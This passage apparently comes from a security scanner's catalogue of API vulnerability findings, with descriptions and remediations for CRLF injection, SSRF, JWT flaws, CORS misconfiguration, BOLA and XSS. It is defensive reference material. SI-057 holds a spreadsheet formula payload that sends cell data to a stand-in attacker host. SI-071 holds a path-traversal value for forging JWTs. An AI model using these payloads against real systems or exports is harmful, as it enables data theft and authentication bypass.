Remediation: Include a Retry-After header (or X-RateLimit-Reset) in all 429 responses, specifying either a date/time or number of seconds until the rate limit window resets. Document the rate limiting behavior in the API specification. Consider also returning X-RateLimit-Limit and X-RateLimit-Remaining headers on successful responses to help clients self-regulate.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-040 — CRLF Injection in API Parameter

Description: Siphon detected that an API parameter containing CRLF sequences (\r\n, %0d%0a) is reflected in HTTP response headers without sanitization. CRLF injection allows an attacker to inject arbitrary HTTP headers into the response, enabling header injection attacks, response splitting, cookie injection, cache poisoning, and cross-site scripting via injected Location or Set-Cookie headers. The impact depends on how the injected content is processed by downstream proxies and browsers.

Remediation: Sanitize all user-supplied input before including it in HTTP response headers by stripping or encoding CR (\r) and LF (\n) characters. Use framework-provided header-setting APIs rather than constructing headers manually. Implement output encoding appropriate to the context. Validate that header values conform to expected formats using allowlist validation.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-041 — Log Injection via User-Agent / Query Parameter

Description: Siphon detected that user-controlled input (User-Agent header or query parameters) is written to application logs without sanitization. An attacker can inject newline characters and fake log entries to forge log records, obfuscate malicious activity, or confuse log analysis tools. In systems where logs are consumed by downstream parsers or SIEM tools, injected log entries can trigger false alerts or suppress real ones. If logs are displayed in a web-based log viewer, log injection can escalate to stored XSS.

Remediation: Sanitize all user-controlled values before writing them to logs by encoding or stripping newline characters, control characters, and HTML special characters. Use structured logging (JSON or similar) rather than free-form string concatenation so injected newlines cannot create new log entries. Apply input validation on User-Agent and other headers before logging.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-042 — SOAP Verbose Fault / Error Disclosure

Description: The SOAP API returns verbose fault messages that disclose internal details such as stack traces, server-side file paths, class names, database connection strings, SQL query fragments, or XML schema structures. Verbose SOAP faults provide an attacker with detailed knowledge of the internal architecture that significantly aids in crafting targeted exploitation attempts. This information leakage is particularly valuable for injection attack reconnaissance.

Remediation: Configure the SOAP framework to return generic, client-safe fault messages in production environments. Disable stack trace inclusion in fault detail elements. Log detailed error information server-side rather than returning it to clients. Implement a custom fault handler that maps internal exceptions to generic error codes. Regularly test error conditions to verify no sensitive data is disclosed.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-043 — GraphQL Field Suggestions Enabled

Description: The GraphQL API returns field suggestion messages (e.g., "Did you mean 'password'?") when a queried field name is similar to an existing field. This behavior exposes the schema's field names even when introspection is disabled, allowing an attacker to enumerate object types and field names by submitting deliberately misspelled queries and observing the suggestions in error responses. This effectively bypasses introspection-based schema hiding.

Remediation: Disable field suggestions in the GraphQL engine configuration. In Apollo Server, set 'hideSchemaErrors: true' or use a custom error formatter to remove suggestion strings from error responses. In other frameworks, configure the error masking/formatting to strip suggestion messages. Do not rely on disabling introspection alone as a schema protection measure if field suggestions are still enabled.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-044 — GraphQL Error Response Leaks Internal Details

Description: GraphQL error responses from this API expose internal implementation details including stack traces, resolver function names, database query details, file system paths, or internal type names. These details assist an attacker in mapping the internal architecture, identifying the database technology, and crafting targeted injection payloads. Error detail leakage in GraphQL APIs is common when development-mode error handling is left enabled in production deployments.

Remediation: Configure the GraphQL server to mask internal error details in production. Return only generic error messages with client-safe error codes. Log complete error details server-side for debugging. In Apollo Server, set 'includeStacktraceInErrorResponses: false'. Implement a custom error formatter that strips extensions.exception.stacktrace and other internal fields from error responses.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-045 — GraphQL Directive Abuse — Accepted Without Limit

Description: The GraphQL API accepts queries containing multiple repeated directives (e.g., @include, @skip, or custom directives) on the same field without limit. Attackers can abuse this by submitting queries with thousands of directive applications on a single field, causing excessive server-side processing to evaluate each directive. This is a form of denial-of-service attack that does not require a large query document and may not be caught by query complexity or depth limits.

Remediation: Implement directive count validation in the GraphQL query parser to limit the number of directives per field and per query. Set a maximum directive application limit (e.g., no more than 10 directives per field). Use a query cost analysis library that accounts for directive evaluation cost. Apply rate limiting on the GraphQL endpoint.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-046 — GraphQL Fragment Sprawl — No Fragment Count Limit

Description: The GraphQL API accepts queries containing an unrestricted number of fragment definitions. An attacker can define hundreds or thousands of fragments that cyclically reference each other or are applied across many fields, causing the server to perform excessive work during query validation and execution. Fragment sprawl attacks can bypass depth limit protections because fragments flatten the tree before depth counting. This can result in CPU exhaustion and denial-of-service conditions.

Remediation: Implement fragment count limits in the GraphQL query validator (e.g., maximum 50 fragment definitions per query). Apply a query complexity analysis library that correctly accounts for inline and spread fragments when calculating query cost. Enable query timeout limits. Detect and reject queries containing circular fragment references.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-047 — JSONP Endpoint Detected — Potential Data Leakage

Description: Siphon detected an API endpoint that supports JSONP (JSON with Padding), indicated by a callback parameter that wraps the response in a JavaScript function call. JSONP bypasses Same-Origin Policy using a script tag, enabling cross-origin data access. Authenticated JSONP endpoints are particularly dangerous because an attacker-controlled page can include a script tag pointing to the JSONP endpoint, and if the victim's browser sends session cookies, the attacker receives the victim's data in the callback. JSONP is a legacy pattern that has been superseded by CORS.

Remediation: Remove JSONP support and replace with proper CORS configuration that specifies allowed origins explicitly. If JSONP must be maintained for legacy compatibility, ensure authenticated JSONP endpoints validate the Referer header and implement CSRF tokens. Restrict the callback parameter to an allowlist of safe function names. Consider this a critical finding on any endpoint that returns user-specific data.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-048 — Possible Mass Assignment — Response Differs

Description: Siphon detected that submitting additional or undocumented fields in an API request body produces a different response (e.g., different status code, different response body structure, or modified resource state) compared to the baseline request without those fields. This behavioral difference suggests the application is processing the injected fields, which is a strong indicator of a mass assignment vulnerability. Full exploitation requires manual confirmation of which fields can be manipulated.

Remediation: Implement an explicit allowlist of accepted fields for each API endpoint. Use Data Transfer Objects (DTOs) or serialization schemas that only map documented fields, ignoring all others. Never bind request body data directly to model objects without filtering. Audit all API endpoints that accept PATCH or PUT requests for mass assignment susceptibility.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows

MEDIUM SI-049 — Possible SSRF — Delayed Response

Description: Siphon observed a significant and consistent response delay when injecting an internal or external URL into an API parameter, suggesting the server is fetching the supplied URL before responding. This timing-based indicator is consistent with Server-Side Request Forgery (SSRF) behavior where the server makes outbound connections based on attacker-supplied URLs. SSRF can be used to probe internal network services, access cloud metadata endpoints (e.g., 169.254.169.254), or pivot to internal systems. Manual confirmation is required to determine exploitability.

Remediation: Validate all URL parameters against an allowlist of permitted schemes and destination hosts before making any outbound request. Block requests to private IP ranges (RFC 1918), link-local addresses, and cloud metadata endpoints. Implement a server-side HTTP client that enforces timeouts and restricts redirects. Log all outbound HTTP requests for monitoring purposes.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

OWASP Web: A10:2021 Server-Side Request Forgery

OWASP API: API7:2023 Server Side Request Forgery

MEDIUM SI-050 — JWT Uses Symmetric Algorithm (HS256)

Description: The API issues JWTs signed with a symmetric HMAC algorithm (HS256, HS384, or HS512). Symmetric algorithms use the same secret key for signing and verification, meaning any party that can verify tokens also knows the secret and can forge arbitrary tokens. In microservice architectures where multiple services verify JWTs, each service possesses the signing secret, increasing the blast radius if any service is compromised. A weak or brute-forceable HMAC secret compounds this risk significantly.

Remediation: Migrate to asymmetric signing algorithms (RS256, ES256, or PS256) where the signing key is known only to the issuer and verification uses the corresponding public key. If symmetric algorithms must be retained, use a cryptographically strong, randomly generated secret of at least 256 bits. Rotate the signing secret periodically. Store the secret in a secrets management system, not in configuration files.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-051 — Security Misconfiguration / CORS Wildcard with Credentials

Description: The API responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true simultaneously. While modern browsers reject this combination per the CORS specification, the configuration reveals a misunderstanding of CORS security semantics. Additionally, some non-browser clients and legacy implementations may not enforce this restriction. The intended behavior (wildcard origin with credentials) would allow any origin to make authenticated cross-origin requests, effectively neutralizing same-origin protection for authenticated API calls.

Remediation: Never set Access-Control-Allow-Origin to '*' in combination with Access-Control-Allow-Credentials: true. For endpoints requiring credentialed cross-origin access, maintain an explicit allowlist of trusted origins and dynamically reflect the request origin only when it matches the allowlist. Remove the wildcard and configure a specific origin allowlist.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-052 — Information Disclosure: Credentials in URL Query Parameters

Description: The API transmits sensitive credentials (API keys, tokens, passwords, or session identifiers) in URL query parameters rather than in request headers or the request body. URL query parameters are stored in browser history, web server access logs, proxy logs, and Referer headers sent to third parties. Credentials embedded in URLs are frequently exposed through log aggregation systems, CDN log exports, and browser history synchronization, creating multiple persistent exposure vectors.

Remediation: Transmit all credentials and sensitive tokens in HTTP request headers (Authorization, X-API-Key) or in the request body (for POST/PUT requests). Never include credentials in URL query parameters. Review all API endpoints for credential leakage via URL parameters. Rotate any credentials that have been transmitted in URLs as they should be considered compromised.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-053 — Debug / Developer Console Exposed

Description: Siphon detected an accessible debug or developer console endpoint (e.g., /debug, /console, /__debug__, /flask-debugger, Spring Boot Actuator /actuator/env, Django admin, Werkzeug interactive debugger). Debug consoles typically provide arbitrary code execution capabilities, full environment variable disclosure (including secrets), SQL query execution, and live configuration inspection. An unauthenticated debug console is a critical severity finding and provides immediate full system compromise.

Remediation: Immediately disable all debug endpoints in production deployments. Use environment-specific configuration to ensure debug modes are only enabled in development environments. Remove all debug middleware and interactive debuggers from production builds. Implement access controls on any remaining diagnostic endpoints (e.g., Spring Boot Actuator) to restrict them to authenticated administrators on internal networks only.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-054 — Server-Timing Header Leaks Authentication Duration

Description: The API includes a Server-Timing header in authentication responses that reveals internal timing information such as database query duration or credential validation time. By comparing response times for valid versus invalid usernames, an attacker can perform a timing-based user enumeration attack. Differences in authentication timing (e.g., a valid username with wrong password taking longer than an invalid username) can also confirm account existence without triggering lockout mechanisms.

Remediation: Remove the Server-Timing header from authentication endpoint responses. If Server-Timing is required for performance monitoring, restrict it to internal networks or authenticated requests only. Implement constant-time comparison for credential validation to eliminate timing side-channels. Ensure authentication responses for valid and invalid credentials take equivalent time by adding artificial delays where necessary.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MEDIUM SI-055 — API Returns More Fields Than Documented

Description: The API endpoint returns more fields in its response than are documented in the API specification. The extra fields may contain internal identifiers, system metadata, hidden status flags, or other data not intended for client consumption. When the undocumented fields are sensitive (e.g., password hashes, internal user IDs, role flags, tokens), this finding escalates to Excessive Data Exposure. Even non-sensitive undocumented fields represent a schema drift risk and documentation gap.

Remediation: Implement explicit response serialization/marshaling that only includes fields defined in the API specification. Use response DTOs or serialization schemas to filter the response object before returning it. Review all undocumented fields for sensitivity. Update the API specification to formally document any fields that should be exposed, or remove them from responses.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

OWASP API: API3:2023 Broken Object Property Level Authorization

MEDIUM SI-056 — HTTP Method Override — DELETE via POST Accepted

Description: The API accepts HTTP method overrides via the X-HTTP-Method-Override or X-Method-Override header, allowing a POST request to be processed as a DELETE, PUT, or PATCH. Method override support was originally designed for environments where only GET and POST are supported. If the API applies authorization controls based on HTTP method at the routing layer, an attacker may bypass these controls by using POST with a method override header to perform DELETE or other privileged operations.

Remediation: Disable HTTP method override support unless strictly required for legacy client compatibility. If method override must be supported, ensure that authorization controls are applied based on the effective (overridden) method, not the HTTP transport method. Restrict which methods can be overridden and log all override usage.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-057 — CSV Injection in User Export

Description: The API's data export endpoint includes user-supplied values in CSV output without sanitization. Spreadsheet applications (Excel, LibreOffice Calc, Google Sheets) interpret cell values beginning with '=', '+', '-', or '@' as formulas. An attacker can inject formula payloads (e.g., =HYPERLINK("http://attacker.com/?"&A1)) that execute when an administrator or staff member opens the exported CSV, potentially exfiltrating data from the spreadsheet or executing arbitrary commands if Dynamic Data Exchange (DDE) is enabled.

Remediation: Prefix all user-supplied cell values in CSV exports with a single quote character to prevent formula injection. Alternatively, reject or escape cells that begin with formula-triggering characters. Warn users in the API documentation that exported data should not be opened with formula execution enabled. Consider using XLSX format with explicit cell type enforcement instead of CSV.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-058 — Business Flow — Numeric Field Accepts Negative/Zero Value

Description: Siphon detected that an API endpoint accepting a numeric field (e.g., quantity, amount, price, discount) processes negative or zero values without validation. Accepting negative values in financial or inventory contexts can enable attacks such as transferring negative amounts (effectively receiving funds), adding negative quantities to a cart (to subtract price), applying discounts greater than 100%, or bypassing minimum purchase requirements. This class of business logic flaw is commonly exploited in e-commerce and fintech APIs.

Remediation: Implement server-side validation that enforces minimum value constraints for all numeric fields (e.g., quantity >= 1, amount > 0). Do not rely on client-side validation alone. Review each numeric field to determine appropriate bounds and implement both minimum and maximum value checks. Specifically test for integer overflow conditions when large positive values are submitted.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows

HIGH SI-059 — Missing Security Header: Strict-Transport-Security

Description: The API does not include a Strict-Transport-Security (HSTS) header in its responses. Without HSTS, browsers do not enforce HTTPS connections to the API and will follow HTTP redirects or accept HTTP responses. This enables SSL stripping attacks where a network-positioned attacker downgrades the connection from HTTPS to HTTP, intercepting all API traffic including authentication tokens, session cookies, and sensitive data in transit. APIs accessible over both HTTP and HTTPS without HSTS are especially vulnerable.

Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains' to all HTTPS responses. Ensure the API is only served over HTTPS and redirect all HTTP requests to HTTPS before setting the HSTS header. Consider submitting the domain to the HSTS preload list at https://hstspreload.org. Never set HSTS on HTTP responses as this provides no protection and can cause access issues.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A02:2021 Cryptographic Failures

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-060 — BOLA — Object Enumeration Possible

Description: The API uses predictable, sequential, or guessable object identifiers (e.g., integer IDs: /api/orders/1001, /api/orders/1002) in resource URLs. While a full BOLA exploit requires the server to return another user's resource without authorization checks, predictable IDs enable automated enumeration of valid resource identifiers. An attacker can iterate through ID ranges to discover valid object IDs before exploiting missing authorization checks. This finding is a prerequisite for BOLA (SI-076) exploitation.

Remediation: Replace sequential integer IDs with cryptographically random UUIDs (UUIDv4) or other non-enumerable identifiers. Implement object-level authorization checks on every endpoint regardless of ID type — do not rely on unguessable IDs as a substitute for authorization. Combine opaque IDs with server-side ownership validation.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A01:2021 Broken Access Control

OWASP API: API1:2023 Broken Object Level Authorization

HIGH SI-061 — BFLA — Broken Function Level Authorization

Description: Siphon confirmed that an API endpoint intended for a higher-privileged role (e.g., manager, moderator) is accessible by a lower-privileged authenticated user (horizontal privilege escalation). The server does not enforce function-level authorization checks at the endpoint, relying instead on the client to present appropriate UI. An attacker can directly call the restricted endpoint using their own valid credentials to perform actions beyond their assigned role.

Remediation: Implement server-side function-level authorization checks on every endpoint based on the authenticated user's role and permissions. Apply the principle of least privilege: default to denying access and explicitly grant access to each role per endpoint. Use a centralized authorization framework rather than per-endpoint conditional logic. Regularly test authorization controls with each defined role.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A01:2021 Broken Access Control

OWASP API: API5:2023 Broken Function Level Authorization

HIGH SI-062 — Excessive Data Exposure — Sensitive Fields in API Response

Description: The API response includes sensitive fields that should not be returned to the requesting client, such as password hashes, password reset tokens, SSNs, credit card numbers, internal system identifiers, private keys, secret tokens, or overly detailed PII. The API returns a serialized object without filtering sensitive fields, relying on the client to ignore them. An attacker who can read API responses (or who intercepts them) gains access to this sensitive data directly.

Impact: An attacker (or any client) receives sensitive fields the API was never intended to expose, because filtering is left to the client. This leaks PII, credentials, tokens or internal attributes directly in API responses and is frequently the root cause of large-scale data breaches via mobile/SPA backends.

Remediation: Implement explicit response serialization that only returns fields the requesting client is authorized to receive. Use response DTOs, @JsonIgnore annotations, or serialization group mechanisms to exclude sensitive fields. Never return password hashes, plaintext passwords, tokens, or private key material in any API response. Conduct a data classification review of all API response schemas.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A02:2021 Cryptographic Failures

OWASP API: API3:2023 Broken Object Property Level Authorization

HIGH SI-063 — Cross-User Data Leakage

Description: Siphon confirmed that an authenticated API endpoint returns data belonging to another user when a different user's resource ID is specified. The server does not validate that the authenticated user is the owner of or has permission to access the requested resource. This is a confirmed Broken Object Level Authorization (BOLA/IDOR) vulnerability allowing horizontal privilege escalation and direct cross-user data access.

Remediation: Implement ownership validation on every endpoint that accesses user-specific resources. Verify that the authenticated user ID matches the owner of the requested resource. Do not rely on the client to supply the correct user ID — derive the target user from the authenticated session, not from URL parameters or request body. Implement comprehensive integration tests for authorization across all user-scoped endpoints.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A01:2021 Broken Access Control

OWASP API: API1:2023 Broken Object Level Authorization

HIGH SI-064 — Sensitive Data Exposed in API Response

Description: The API response contains sensitive data including but not limited to: full payment card numbers or PAN data, government-issued ID numbers, medical or health records, private cryptographic material, authentication credentials, or other regulated/sensitive personal information. This data is returned as part of the standard API response to the client, creating unnecessary exposure. Even if HTTPS is in use, returning sensitive data to clients that do not need it violates data minimization principles and increases breach impact.

Remediation: Apply data minimization: only return the minimum data the client requires to fulfill its function. Mask or truncate sensitive fields (e.g., return last four digits of a card number only). Implement field-level access control so that sensitive fields are only returned to clients with explicit permission. Conduct a data sensitivity audit of all API response schemas against regulatory requirements (PCI-DSS, HIPAA, GDPR).

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A02:2021 Cryptographic Failures

OWASP API: API3:2023 Broken Object Property Level Authorization

HIGH SI-065 — Sensitive Authentication Headers Exposed in Response

Description: The API response headers expose sensitive authentication material such as internal API keys, bearer tokens, session identifiers, or HMAC signing secrets. These values may appear in custom response headers, debug headers, or be reflected back from request headers without sanitization. An attacker who can read response headers from any position in the network path (e.g., via a proxy, CDN logging, or XSS) can extract these credentials for further exploitation.

Remediation: Audit all API response headers and remove any that contain authentication credentials, tokens, or secrets. Ensure response headers are generated from server-side configuration, not by reflecting request headers. Review logging pipelines to ensure response headers containing credentials are not captured in logs. Rotate any credentials that have been exposed in response headers.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-066 — Missing Rate Limiting

Description: The API endpoint does not enforce any rate limiting on incoming requests. An attacker can send unlimited requests to this endpoint, enabling brute-force attacks against authentication endpoints, enumeration of valid resource IDs, credential stuffing attacks, scraping of all accessible data, or resource exhaustion (denial-of-service) through compute-intensive operations. The absence of rate limiting is particularly critical on authentication, password reset, OTP, and search endpoints.

Remediation: Implement rate limiting on all API endpoints, with stricter limits on authentication-related endpoints. Define rate limit policies based on IP address, API key, and authenticated user. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Use a rate limiting middleware or API gateway feature rather than application-level implementation. Implement exponential backoff enforcement for repeated authentication failures.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MITRE ATT&CK: T1499 (Impact)

NIST 800-53: SC-5, CM-6

PCI DSS 4: 6.2.4

HIGH SI-067 — Rate Limit Bypass — Unauthenticated Session Has Separate Bucket

Description: Siphon confirmed a rate limit bypass where requests made without authentication (or with a different credential type) are tracked in a separate rate limit bucket from authenticated requests. An attacker can exploit this by alternating between authenticated and unauthenticated sessions, or by registering multiple accounts to obtain separate rate limit buckets. This effectively multiplies the number of attempts available, enabling brute-force or credential stuffing attacks that would otherwise be blocked by per-credential rate limits.

Remediation: Implement rate limiting that aggregates request counts by IP address regardless of authentication state. Ensure that unauthenticated requests to sensitive endpoints (login, password reset, OTP) are subject to strict rate limits. Track failed authentication attempts by IP address and target account, locking or challenging both dimensions when thresholds are exceeded.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP API: API4:2023 Unrestricted Resource Consumption

HIGH SI-068 — Rate Limit Bypass via X-Forwarded-For Header

Description: Siphon confirmed that the API's rate limiting can be bypassed by injecting arbitrary IP addresses into the X-Forwarded-For, X-Real-IP, or CF-Connecting-IP headers. The application trusts these headers unconditionally and uses the value as the client IP for rate limit bucket assignment. An attacker can rotate the X-Forwarded-For value on each request to bypass per-IP rate limits entirely, enabling unlimited brute-force and enumeration attacks.

Remediation: Do not use untrusted client-supplied IP headers for rate limiting or security enforcement. Only extract the real client IP from X-Forwarded-For when the request originates from a trusted proxy or load balancer (validate by source IP). Configure the proxy to set the client IP header and strip any client-supplied values before forwarding. Use the connection IP (socket-level IP) when no trusted proxy layer is present.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP API: API4:2023 Unrestricted Resource Consumption

HIGH SI-069 — Mass Assignment Vulnerability

Description: Siphon confirmed a mass assignment vulnerability where injecting undocumented fields (e.g., role, isAdmin, accountBalance, verified, subscription_tier) in the API request body results in those fields being written to the underlying data model. The application binds request body parameters directly to model objects without an explicit allowlist. An attacker can escalate privileges, modify protected fields, or alter business-critical data by including these fields in standard API requests.

Impact: By submitting properties the client should never control, an attacker overwrites server-side state such as roles, ownership, balances or verification flags, escalating privileges or tampering with business-critical data directly through the normal API.

Remediation: Never bind request body data directly to model objects. Use Data Transfer Objects (DTOs) with explicit field mappings for each endpoint. Implement an allowlist of fields that each endpoint is permitted to modify. Mark sensitive model fields (role, isAdmin, balance) with @ReadOnly or equivalent annotations to prevent them from being modified via API binding. Conduct a full audit of all PATCH and PUT endpoints.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows

MITRE ATT&CK: T1078 (Privilege Escalation)

NIST 800-53: AC-3, SI-10

PCI DSS 4: 6.2.4

HIGH SI-070 — JWT Uses Insecure Algorithm

Description: The API issues or accepts JWTs using an algorithm that provides insufficient security guarantees. This includes weak algorithms such as RS256 with small key sizes, or algorithms deprecated by current IETF guidance. Weak algorithm usage allows an attacker with sufficient compute resources to forge token signatures, enabling authentication bypass and privilege escalation. This finding excludes the 'none' algorithm (SI-077) and RS256-to-HS256 confusion (SI-071) which are covered separately.

Remediation: Use only NIST-approved and IETF-recommended JWT signing algorithms: RS256 or RS512 (RSA-PKCS1v15), ES256 or ES512 (ECDSA), or PS256 or PS512 (RSA-PSS). Ensure RSA keys are at least 2048 bits. Use an allowlist of permitted algorithms in the JWT validation library and reject tokens signed with any other algorithm. Rotate signing keys annually or when compromise is suspected.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-071 — JWT kid Header Path Traversal

Description: The JWT kid (key ID) header parameter is used by the server to locate the signing key on the filesystem, and the server does not sanitize path traversal sequences in the kid value. An attacker can craft a JWT with a kid value like '../../dev/null' to cause the server to use an empty or predictable file as the signing key, then forge a valid JWT signature using that key. If the server uses the kid to construct a filesystem path, path traversal can redirect it to an attacker-controlled key file.

Remediation: Validate the kid header against an allowlist of known key identifiers before using it to locate keys. Never use the kid value directly in filesystem path construction. Store keys in a key management system or in-memory key store rather than on the filesystem. Sanitize all path traversal sequences from kid values before any processing.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-072 — JWT Token Not Invalidated After Logout

Description: Siphon confirmed that a JWT obtained before calling the logout endpoint remains valid and accepted by the API after the logout call completes. The API relies solely on the JWT's expiry (exp) claim for invalidation and does not maintain a server-side revocation list or blocklist. An attacker who obtains a victim's JWT (via XSS, network interception, log leakage, or device theft) can continue using the token until it naturally expires, even after the victim has logged out and changed their password.

Remediation: Implement server-side JWT revocation by maintaining a blocklist of invalidated token JTI (JWT ID) values, or by using a short token lifetime combined with a reference token pattern (opaque tokens that can be instantly revoked). Issue all JWTs with a unique jti claim and store active jti values in a cache (Redis) that is checked on each request. Alternatively, use opaque session tokens instead of JWTs when instant revocation is required.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-073 — CORS — Reflected Origin with Credentials

Description: The API reflects the incoming request's Origin header directly in the Access-Control-Allow-Origin response header and sets Access-Control-Allow-Credentials: true. This effectively grants every domain in the world credentialed cross-origin access to the API. An attacker-controlled page can make credentialed cross-origin requests to the API and read the response, enabling session hijacking, account data exfiltration, and authenticated actions performed on behalf of the victim without their knowledge.

Remediation: Implement an explicit allowlist of trusted origins and only reflect the Origin header in CORS responses when the requesting origin is in the allowlist. Never reflect arbitrary origins when Access-Control-Allow-Credentials is true. Validate the allowlist server-side on every cross-origin request. Regularly audit the CORS allowlist to ensure no untrusted domains have been added.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-074 — Reflected Cross-Site Scripting (XSS)

Description: Siphon confirmed a reflected Cross-Site Scripting (XSS) vulnerability where user-supplied input from an API parameter is reflected in an HTML response without encoding or sanitization. An attacker can craft a malicious URL containing a script payload and trick a user into clicking it, causing the script to execute in the victim's browser in the context of the application origin. This enables session hijacking, credential theft, keylogging, and arbitrary actions performed as the victim.

Remediation: Apply context-appropriate output encoding to all user-supplied data reflected in HTML responses. Use a security-focused templating engine that provides automatic escaping. Implement a strict Content-Security-Policy to mitigate XSS exploitation even if encoding is bypassed. Set the HttpOnly flag on session cookies. Validate and sanitize all input server-side before reflecting it in any response.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)

NIST 800-53: SI-10, SC-18

PCI DSS 4: 6.2.4

MEDIUM SI-075 — GraphQL Introspection Enabled

